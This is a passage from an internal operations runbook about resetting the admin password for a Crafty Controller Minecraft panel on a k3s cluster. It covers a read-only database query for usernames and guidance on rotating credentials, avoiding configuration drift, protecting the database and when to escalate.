`password` column) and retry against the right one:
```bash
./infra/devcontainer/dev.sh run bash -c \
'kubectl --context k3s-prod -n crafty exec deploy/crafty -c crafty -- python3 -c "
import sqlite3
c=sqlite3.connect(\"file:/crafty/app/config/db/crafty.sqlite?mode=ro\",uri=True)
print([r[0] for r in c.execute(\"SELECT username FROM users\")])
"'
```
`database is locked` means Crafty held the write lock; the `timeout=30` usually rides it out, otherwise
retry. The panel picks the new hash up on the next login attempt — no restart needed, and a restart
costs a Minecraft-server stop (`strategy: Recreate` on an RWO volume), so do not restart reflexively.
## When to escalate or stop
- **Stop** as soon as you can sign in, and **rotate immediately** — do not leave the generated
bootstrap password in place as the standing admin credential, and do not leave `reset-creds.txt` on
the PVC.
- **Do not `kubectl edit`/`patch`/`apply`** the Deployment to work around a login problem. Flux
reconciles `main`; hand-applied changes are drift. Manifest changes go through a branch and a PR.
- **Do not delete `crafty.sqlite`** to force a "fresh install" and a new generated password. It holds
every server definition — jar, ports, heap, `auto_start` — and losing it means recreating each server
by hand, re-accepting the Mojang EULA, and re-`PATCH`ing `auto_start`. The worlds under
`/crafty/servers/<uuid>/` are not in git and not recreatable. The reset above is always cheaper.
- **Escalate to the Keycloak side** (`runbooks/keycloak-down.md`,
`runbooks/keycloak-client-secrets.md`) if there is no `AuthSuccess` in the sidecar log at all — that
is an IdP or client-secret problem and no Crafty password will help.
- **If `default-creds.txt` is absent on a pod whose DB says the password was never changed**, stop and
hand off: that combination should not occur, and it suggests the `config` subPath is not the volume
you think it is. Record what you measured rather than guessing.
